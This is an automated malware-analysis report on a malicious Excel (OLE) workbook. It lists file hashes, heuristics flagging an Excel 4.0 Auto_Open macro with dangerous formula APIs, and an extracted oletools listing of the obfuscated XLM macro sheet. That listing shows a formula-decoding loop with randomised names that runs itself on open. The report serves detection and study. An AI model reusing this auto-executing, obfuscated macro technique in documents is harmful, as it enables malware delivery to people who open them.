Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73f4febd4eb1e163…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:05 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 969182d41d23a36d9be39aad136ff011 SHA-1: d4f04e270d63bdcca4151968c7a75bdb0570fefa SHA-256: 73f4febd4eb1e163e0116bb03f29bc214e0d64401c4ea618ecebbad8aebf4a1f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6674 bytes
SHA-256: 2d89f635264dfc1e6b0ef95d8121d76768cacfd17f95c67543b0ebc48527996d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  APgMmSItvuP
' 0018     26 LABEL : Cell Value, String Constant - aeCYqFHKcCO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A165 
' 0018     26 LABEL : Cell Value, String Constant - coUZZoweUjY len=0 
' 0018     21 LABEL : Cell Value, String Constant - CRAVVV len=0 
' 0018     22 LABEL : Cell Value, String Constant - FOMQVkT len=0 
' 0018     27 LABEL : Cell Value, String Constant - GKZFbVQjrzXv len=0 
' 0018     27 LABEL : Cell Value, String Constant - ICtMvfdhlNZa len=0 
' 0018     24 LABEL : Cell Value, String Constant - IhYhMkviG len=0 
' 0018     24 LABEL : Cell Value, String Constant - KbguRBDhB len=0 
' 0018     24 LABEL : Cell Value, String Constant - ldcYegzGv len=0 
' 0018     23 LABEL : Cell Value, String Constant - OSeFSAsY len=0 
' 0018     27 LABEL : Cell Value, String Constant - RGYxIycLkXEV len=0 
' 0018     21 LABEL : Cell Value, String Constant - RKspZm len=0 
' 0018     27 LABEL : Cell Value, String Constant - rRMXPbOJiAmG len=0 
' 0018     25 LABEL : Cell Value, String Constant - RSisrZoSUQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - tvjIWDavC len=0 
' 0018     21 LABEL : Cell Value, String Constant - uGkFYG len=0 
' 0018     21 LABEL : Cell Value, String Constant - wnAipA len=0 
' 0018     26 LABEL : Cell Value, String Constant - WXPzyPXwQwb len=0 
' 0018     22 LABEL : Cell Value, String Constant - xpjfVzf len=0 
' 0018     24 LABEL : Cell Value, String Constant - zsqwoHakn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  APgMmSItvuP,A61,"SET.NAME("GKZFbVQjrzXv",VALUE("0"))",""
'  APgMmSItvuP,A66,"SET.NAME("wnAipA",GKZFbVQjrzXv)",""
'  APgMmSItvuP,A71,"SET.NAME("RKspZm",GKZFbVQjrzXv)",""
'  APgMmSItvuP,A73,"SET.NAME("aeCYqFHKcCO",COUNTA(CRAVVV))",""
'  APgMmSItvuP,A75,"SET.NAME("IhYhMkviG",COUNTA(coUZZoweUjY))",""
'  APgMmSItvuP,A79,[],""
'  APgMmSItvuP,A84,"SET.NAME("FOMQVkT","")",""
'  APgMmSItvuP,A89,"wnAipA",""
'  APgMmSItvuP,A94,"SET.NAME("zsqwoHakn",HLOOKUP("*",CRAVVV,wnAipA,FALSE))",""
'  APgMmSItvuP,A96,"WXPzyPXwQwb",""
'  APgMmSItvuP,A100,"SET.NAME("RSisrZoSUQ",GKZFbVQjrzXv)",""
'  APgMmSItvuP,A105,[],""
'  APgMmSItvuP,A109,"RSisrZoSUQ",""
'  APgMmSItvuP,A113,"ICtMvfdhlNZa",""
'  APgMmSItvuP,A118,"tvjIWDavC",""
'  APgMmSItvuP,A123,"uGkFYG",""
'  APgMmSItvuP,A127,"SET.NAME("xpjfVzf",VALUE(HLOOKUP("*",coUZZoweUjY,uGkFYG,FALSE)))",""
'  APgMmSItvuP,A131,"KbguRBDhB",""
'  APgMmSItvuP,A136,"FOMQVkT",""
'  APgMmSItvuP,A138,"RKspZm",""
'  APgMmSItvuP,A141,NEXT(),""
'  APgMmSItvuP,A143,"ldcYegzGv",""
'  APgMmSItvuP,A148,"SET.NAME("f",INT(T(FORMULA(T(FOMQVkT)&"",""&T(ldcYegzGv)))))",""
'  APgMmSItvuP,A153,"RGYxIycLkXEV",""
'  APgMmSItvuP,A158,NEXT(),""
'  APgMmSItvuP,A161,RETURN(),""
'  APgMmSItvuP,A194,"SET.NAME("rRMXPbOJiAmG",A61)",""
'  APgMmSItvuP,A198,"CRAVVV",""
'  APgMmSItvuP,A201,"SET.NAME("coUZZoweUjY",R80C14)",""
'  APgMmSItvuP,A206,"SET.NAME("RGYxIycLkXEV",214)",""
'  APgMmSItvuP,A209,"SET.NAME("OSeFSAsY",1)",""
'  APgMmSItvuP,A213,rRMXPbOJiAmG(),""
'  APgMmSItvuP,A214,HALT(),""

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